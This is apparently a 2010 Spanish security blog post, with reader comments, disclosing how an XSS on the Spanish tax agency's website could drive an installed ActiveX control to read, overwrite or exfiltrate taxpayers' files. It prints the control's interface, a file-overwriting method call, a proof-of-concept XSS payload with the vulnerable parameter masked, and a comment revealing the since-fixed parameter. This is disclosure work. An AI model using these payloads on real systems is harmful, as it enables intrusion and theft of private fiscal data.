Random IRC quote :      <madalenasbuenas> soy de derechas

Weaponized XSS – El caso de la Agencia Tributaria.

Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc…Podemos llegar incluso a la ejecución de código.

El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del cual se está instanciando, hacen del XSS un vector de ataque muy potente. Esto lo demostré en la pasada RootedCon, donde un fallo de diseño permitía controlar por completo una máquina usando un ataque XSS en conjunto con métodos potencialmente inseguros en un ActiveX. Es conveniente recordar las slidespara entender mejor este post.

Hoy, vamos a hablar de un fallo del mismo tipo en la arquitectura de la Agencia Tributaria española.

El escenario del ataque sería aquel donde la víctima pincha, por el medio que sea, un enlace especialmente creado. Una explotación exitosa acarrearía la posibilidad de que el atacante obtuviera acceso a los datos fiscales, facturas u otros ficheros de la víctima, pudiera modificarlos e incluso ejecutar código.

Disclaimer.
Quiero dejar claro, para que nadie piense nada raro, que a mí sólo me interesa lo que se ejecuta en mi ordenador. No he tocado ningún servidor de la AEAT, ni ganas tengo. Recordar así mismo que un XSS se ejecuta en el lado cliente. Si por obligación se me conmina a instalar un ActiveX quiero saber por qué, qué hace y si esto supone un riesgo para la seguridad de mis equipos.No me hago responsable de ninguna manera del mal uso que pueda darse a esta información. Hasta donde considero mi obligación como researcher, he cumplido.

Dicho esto, al lío…

Si entrar en más detalles ya que es algo totalmente documentado, como contábamos antes, a la hora de instanciar los ActiveX Microsoft ofrece algunas medidas que permiten controlar quién puede «jugar» con ellos y quien no. Si se informará al usuario antes de ejecutarlos, desde qué dominios pueden ejecutarse etc. IObjectSafety, via claves en el registro (AllowedDomains), sin contar con los métodos propietarios que use cada ActiveX para asegurar que quien está accediendo a sus métodos procede de un lugar realmente legítimo

En el caso de la Agencia Tributaria, los que hayais usado el PADRE para descargar los datos fiscales os acordareís que os mandaron instalar un ActiveX para este propósito. Este mismo activeX es instalado a la hora de realizar las declaraciones telemáticas de IVA que todas las sociedad tienen que presentar obligatoriamente, a través de internet.

Veamos qué metodos expone:

  interface IAeatCtl : IDispatch {
        [id(0x00000001), helpstring("method BAS64")]
        HRESULT BAS64(
                        [in] BSTR input,
                        [out, retval] BSTR* result);
        [id(0x00000002), helpstring("method DECODEBASE64")]
        HRESULT DECODEBASE64(
                        [in] BSTR input,
                        [out, retval] BSTR* result);
        [id(0x00000003), helpstring("method LEEDI")]
        HRESULT LEEDI(
                        [in] BSTR directorio,
                        [in, optional] BSTR titulo,
                        [in, optional] BSTR texto,
                        [in, optional] BSTR bloqueo,
                        [out, retval] BSTR* resultado);
        [id(0x00000004), helpstring("method HASH")]
        HRESULT HASH(
                        [in] BSTR algoritmo,
                        [in] BSTR texto,
                        [out, retval] BSTR* resultado);
        [id(0x00000005), helpstring("method LEEFI")]
        HRESULT LEEFI(
                        [in] BSTR fichero,
                        [in, optional] BSTR modo,
                        [in, optional] BSTR crlf,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* contenido);
        [id(0x00000006), helpstring("method GRABATXT")]
        HRESULT GRABATXT(
                        [in] BSTR ruta,
                        [in] BSTR datos,
                        [in] BSTR modo);
        [id(0x00000007), helpstring("method FIRMAR")]
        HRESULT FIRMAR(
                        [in] BSTR datos,
                        [in, optional] BSTR ca,
                        [in, optional] BSTR datos_mostrados,
                        [in, optional] BSTR cadenaCompleta,
                        [in, optional] BSTR nif,
                        [out, retval] BSTR* resultado);
        [id(0x00000008), helpstring("method EXISTE")]
        HRESULT EXISTE(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0x00000009), helpstring("method FILEDIALOG")]
        HRESULT FILEDIALOG(
                        [in] BSTR titulo,
                        [in] BSTR directorio,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* fichero);
        [id(0x0000000a), helpstring("method DIALOGO")]
        HRESULT DIALOGO(
                        [in] BSTR estado,
                        [in] BSTR texto,
                        [in] BSTR boton);
        [id(0x0000000b), helpstring("method GETSUBJECT")]
        HRESULT GETSUBJECT([out, retval] BSTR* subject);
        [id(0x0000000c), helpstring("method LEEBI")]
        HRESULT LEEBI(
                        [in] BSTR fichero,
                        [in] BSTR codificacion,
                        [in, optional] BSTR extension,
                        [out, retval] BSTR* contenido);
        [id(0x0000000d), propget, helpstring("property HASHBI")]
        HRESULT HASHBI([out, retval] BSTR* pVal);
        [id(0x0000000e), propget, helpstring("property TAMBINARIO")]
        HRESULT TAMBINARIO([out, retval] long* pVal);
        [id(0x00000012), helpstring("method CONECTAR")]
        HRESULT CONECTAR(
                        [in] BSTR url,
                        [in] BSTR datos,
                        [in] BSTR appData,
                        [in] BSTR modo,
                        [in] long tiempoMaximo,
                        [out, retval] BSTR* resultado);
        [id(0x00000013), helpstring("method GRABABI")]
        HRESULT GRABABI(
                        [in] BSTR ruta,
                        [in] BSTR codificacion,
                        [in] BSTR datos);
        [id(0x00000014), propget, helpstring("property NOLOG")]
        HRESULT NOLOG([out, retval] BSTR* pVal);
        [id(0x00000014), propput, helpstring("property NOLOG")]
        HRESULT NOLOG([in] BSTR pVal);
        [id(0x00000015), helpstring("method DIRDIALOG")]
        HRESULT DIRDIALOG(
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [out, retval] BSTR* directorio);
        [id(0x00000016), helpstring("method ELEGIR_CERT")]
        HRESULT ELEGIR_CERT(
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [in, optional] BSTR ca,
                        [out, retval] BSTR* certificado);
        [id(0x00000017), helpstring("method EXISTEDIR")]
        HRESULT EXISTEDIR(
                        [in] BSTR directorio,
                        [out, retval] BSTR* resultado);
        [id(0x00000018), helpstring("Abre un cuadro de dialogo en el que se muestra un Avi.")]
        HRESULT ABRIRAVI(
                        [in] int numb,
                        [in] BSTR titulo,
                        [in] BSTR texto,
                        [in] int rango);
        [id(0x0000001a), propget, helpstring("property DIALOGO_CANCELADO")]
        HRESULT DIALOGO_CANCELADO([out, retval] short* pVal);
        [id(0x0000001b), helpstring("method ACTUALIZAAVI")]
        HRESULT ACTUALIZAAVI(
                        [in] int numb,
                        [in] BSTR texto,
                        [in] int inc,
                        [in, optional] int rango);
        [id(0x0000001c), helpstring("method CERRARAVI")]
        HRESULT CERRARAVI([in] int numb);
        [id(0x0000001e), helpstring("method PRINT")]
        HRESULT PRINT([in] IUnknown* documento);
        [id(0x0000001f), helpstring("method SELECT_CERT")]
        HRESULT SELECT_CERT(
                        [in] BSTR cadenaBusqueda,
                        [in, optional] BSTR ca,
                        [in, optional] BSTR nif,
                        [out, retval] BSTR* certificado);
        [id(0x00000020), helpstring("method SIGUE")]
        HRESULT SIGUE([in] int numb);
        [id(0x00000021), helpstring("method MUEVEFI")]
        HRESULT MUEVEFI(
                        [in] BSTR origen,
                        [in] BSTR destino);
        [id(0x00000023), helpstring("method GRABAIMG")]
        HRESULT GRABAIMG(
                        [in] BSTR url,
                        [in] BSTR ruta,
                        [out, retval] BSTR* resultado);
        [id(0x00000024), helpstring("method DESBLOQUEAR")]
        HRESULT DESBLOQUEAR([in] BSTR fichero);
        [id(0x00000025), helpstring("method INICIA")]
        HRESULT INICIA([in] BSTR directorio);
        [id(0x00000026), helpstring("method FIRMARLOTES")]
        HRESULT FIRMARLOTES(
                        [in] BSTR datos,
                        [in, optional] BSTR cadenaCompleta,
                        [out, retval] BSTR* resultado);
        [id(0x00000027), helpstring("method BORRAFI")]
        HRESULT BORRAFI([in] BSTR fichero);
        [id(0x00000028), helpstring("method CREARENLACE")]
        HRESULT CREARENLACE(
                        [in] BSTR fichero,
                        [in] BSTR nombre,
                        [in] BSTR descripcion,
                        [in] BSTR icono);
        [id(0x00000029), helpstring("method GETURL")]
        HRESULT GETURL(
                        [in] BSTR url,
                        [out, retval] BSTR* contenido);
        [id(0x0000002a), helpstring("method UNZIP")]
        HRESULT UNZIP(
                        [in] BSTR directorio,
                        [in] BSTR fichZip);
        [id(0x0000002b), helpstring("method GSWIN32C")]
        HRESULT GSWIN32C([in] BSTR parametros);
        [id(0x0000002c), helpstring("method CERRARVENTANA")]
        HRESULT CERRARVENTANA();
        [id(0x0000002d), propget, helpstring("property IDIOMA")]
        HRESULT IDIOMA([out, retval] BSTR* IDIOMA);
        [id(0x0000002d), propput, helpstring("property IDIOMA")]
        HRESULT IDIOMA([in] BSTR IDIOMA);
        [id(0x0000002e), propget, helpstring("property ESBINARIO")]
        HRESULT ESBINARIO([out, retval] BSTR* pVal);
        [id(0x0000002f), helpstring("method FECHA_MOD_URL")]
        HRESULT FECHA_MOD_URL(
                        [in] BSTR url,
                        [out, retval] long* pFecha);
        [id(0x00000030), helpstring("method FECHA_MOD_FICH")]
        HRESULT FECHA_MOD_FICH(
                        [in] BSTR fichero,
                        [out, retval] long* pFecha);
        [id(0x00000031), propget, helpstring("property FECHA_CAD_CERT")]
        HRESULT FECHA_CAD_CERT([out, retval] BSTR* pVal);
        [id(0x00000032), propget, helpstring("property EMISOR_CERT")]
        HRESULT EMISOR_CERT([out, retval] BSTR* pVal);
        [id(0x00000033), helpstring("method GET_VARIABLE_ENT")]
        HRESULT GET_VARIABLE_ENT(
                        [in] BSTR variable,
                        [out, retval] BSTR* valor);
        [id(0x00000034), helpstring("method GET_IMG")]
        HRESULT GET_IMG(
                        [in] BSTR url,
                        [out, retval] BSTR* contenido);
        [id(0x00000035), helpstring("method ES_CITRIX")]
        HRESULT ES_CITRIX([out, retval] BSTR* resultado);
        [id(0x00000036), helpstring("method ESMSWORD")]
        HRESULT ESMSWORD(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0x00000037), helpstring("method ABRIRFICHERO")]
        HRESULT ABRIRFICHERO([in] BSTR fichero);
        [id(0x00000038), helpstring("method ESMSEXCEL")]
        HRESULT ESMSEXCEL(
                        [in] BSTR fichero,
                        [out, retval] BSTR* resultado);
        [id(0x00000039), helpstring("method TAM_FICHERO")]
        HRESULT TAM_FICHERO(
                        [in] BSTR fichero,
                        [out, retval] double* resultado);
    };
 

Como veis hay algunos metodos como GRABABI que suenan interesantes. Haciendo ingeniería inversa podemos fácilmente averiguar los parámetros correctos que quedarían por ejemplo:

GRABABI(\’c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\’,\’base64\’,\’ADFADFAFAFAFAFAFA[..]\’)

Internamente, el ActiveX implementa una serie de comprobaciones para evitar que las operaciones que hagamos salgan fuera del directorio «c:\aeat\», sin embargo, podríamos sobreescribir cualquier .jar de los que instala el PADRE o crear ciertos tipos de ficheros que fuera cargados automaticamente por el sistema.

Luego existen, los métodos LEERFI, LEERDIR donde podríamos listar el directorio y leer los ficheros de datos fiscales o de otro tipo y enviarlos a un servidor controlado por nosotros… En fin mil cosas.

Qué nos falta? Que la página de la agencia tributaria tenga un XSS para poder isntanciar el ActiveX desde el dominio permitido, ya que se guarda en la clave «AllowedDomains» el dominio desde donde se inicia y acepta la instalación del activex, en este caso, alguno de los pertenencientes a la AEAT.

¿Existe un fallo XSS en las webs de la AEAT? Sí. Y este permitiría hacer una cosa así.

https://aeat.es/XXXXXXXXXXXXXXXXXXXXXXXXXXX=javascript:{var c0d= '<html><body><object id=\'ab\' classid=\'CLSID:B785FA3C-1DE9-4D20-8396-613C486FE95E\'></object><script>function xplit(){ab.GRABABI(\'c:\\\\\AEAT\\\\RENTA2009\\\\irpf2009_false.jar\',\'base64\',\'ADFADFAFAFAFAFAFA\');}</script><a href=\'javascript:xplit();\'>exploit</a></body></html>';document.write(c0d);}

U otras peores. Avisé a la AEAT de este fallo hace más de un mes. A día de hoy sigue sin arreglarse. Yo por mi parte considero que no puedo hacer más.

Hasta la siguiente.

12 Comentarios para “Weaponized XSS – El caso de la Agencia Tributaria.”

  1. Comment por none | 08/04/10 at 9:03 am

    Bueno, quizá a día de hoy ya han corregido la vulnerabilidad xss, porque a mi no me ejecuta el código javascript.
    Saludos

  2. Comment por Ruben | 08/04/10 at 9:34 am

    No se qué página habrás probado, obviamente «XXXXX…» no existe. El XSS sigue funcionando.

  3. Comment por vierito5 | 08/04/10 at 10:14 am

    Has probado con todas las Xs?? Mira ver si es que te has dejado alguna

  4. Comment por ciudadano | 08/04/10 at 1:02 pm

    Más increíble que la existencia de un fallo de seguridad es que se utilice una tecnología como ActiveX en un servicio público. Lo de este país es una vergüenza… o, más bien, el problema es la falta de ella

  5. Comment por Luis | 08/04/10 at 1:54 pm

    BUEN ARTICULO! Vi tu charla por internet pero no me quedo del todo claro, te ha faltado la frase estrella «si a ellos no les importa, a mi menos!» 🙂

    Lo peor de todo no es que se encuentren fallos, sino que no se les de solución o que ésta se demore más de lo necesario.

    Otro ejemplo de incompetencia podría ser la UPM, reporté un fallo que permitía acceso a cuentas de alumnos y personal hace un mes y aun no lo han arreglado (y como es agosto, estaran de vacaciones), tengo otros 9 fallos igual o más interesantes (acceso a expedientes, datos personales, suplantación de emails, etc) pero al parecer les da igual :S!

  6. Comment por chencho | 08/04/10 at 3:44 pm

    Jodó Ruben, das miedo.

  7. Comment por Rodri | 08/05/10 at 3:29 am

    Hola Luis,

    podrías explicar un poco los bugs de la UPM? Sería interesante que compartieras los métodos que has utilizado para encontrar dichos fallos.

    Muchas gracias.

  8. Comment por fossie | 08/05/10 at 6:41 am

    Muy buen post Ruben, todo bien explicado y detallado yo intento tomar ejemplo y hacer lo mismo pero es que es complejo saber cuando se puede o no se pueden publicar cosas de este tipo. Tu has publicado todo excepto el xss para que no te puedan decir que «por tu culpa» se han hecho cosas que no se deberian hacer pero vamos que no creo que fuera por tu culpa, bastante has hecho con avistar.

    Yo también he detectado algunos problemas en diversas webs y en muchas de ellas ni han contestado 🙁 aunque si debo reconocer que en otras si han contestado y lo han solucionado rapidamente.

    Luis, las universidades son la leche, yo también he pillado un par de ellas y ni caso han hecho 🙁 y luego se quejaran si hay algun follon con el tema o nos haran culpables por informar de los problemas.

  9. Comment por Luis | 08/05/10 at 9:18 am

    @Rodri
    No puedo publicarlos pues el que está reportado no está solucionado y es muy delicado (si conoces la UPM, permite el acceso a la Politecnica Virtual de cualquier alumno/personal pudiendo ver presupuestos de grupos de investigación y de todo) y con respecto a los otros, aun no están reportados aunque si están al tanto de los servicios vulnerables.
    En cuando arreglen el reportado lo publicaré pues todo el mundo tiene derecho a saber lo bien guardados que están nuestros datos en la UPM…
    ¡Ah! y por degracia, NO HASHEAN LAS CONTRASEÑAS (y ya han tenido problemas de permisos y se podian dumpear las bases de datos :S)

    @Fossie
    Estoy totalmente de acuerdo, lo bueno es que si es una universidad en la que no estudias puedes hacer un responsible disclosure y ya está, no te pueden meter mano, pero como sea en la tuya (como es mi caso) te arriesgas a que te expedienten, te expulsen y aunque luego tu tengas razon tienes todas las de perder (vas contra una institución, ellos contra una persona :S)

  10. Comment por Sebas | 08/10/10 at 6:44 am

    En la ultima conferencia de la OWASP en Barcelona, un ponente mostró un Framework de JS para tomar el control de las maquinas de los visitantes, es increíble como herramienta de Remote Acces, no entiendo como la Agencia Tributaria expone a todos los ciudadanos a esta falla de seguridad.

    La Conferencia:
    http://www.poisonclub.com.ar/2010/06/30/resumen-y-contenido-multimedia-de-vi-owasp-spain-chapter-meeting-barcelona-2010/

    El segundo vídeo, de Fabio Cerullo.

  11. Comment por Luis | 08/15/10 at 5:57 am

    Segun comenta Ruben en su twitter el XSS ya ha sido arreglado, se encontraba en:
    «redirgen.html?hid=HORARIOS&donde=javascript:alert(‘pun’)»

  12. fon
    Comment por fon | 08/26/10 at 9:12 am

    Ya va tocando meterle un swirlcito al captcha!!! 🙂
    Pd: Buen post, como siempre, felicidades

Se han cerrado los comentarios